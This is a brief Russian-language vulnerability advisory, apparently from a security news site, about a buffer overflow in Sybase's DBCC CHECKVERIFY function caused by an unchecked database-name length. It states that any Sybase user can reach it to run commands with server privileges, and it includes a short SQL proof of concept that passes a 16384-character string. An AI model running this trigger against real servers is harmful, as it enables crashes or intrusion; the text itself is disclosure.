В функции DBCC CHECKVERIFY можно переполнить
буфер и выполнить произвольные команды с
привилегиями сервера. В качестве параметра
функции передается имя базы данных - оно
может быть произвольной длинны, DBCC CHECKVERIFY
никак ее не проверяет и не ограничивает.
Выполнить же эту функцию может любой
пользователь Sybase.

Пример:

1> declare @test varchar(16384)
2> select @test = replicate('A', 16384)
3> DBCC CHECKVERIFY(@test)
4> go

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии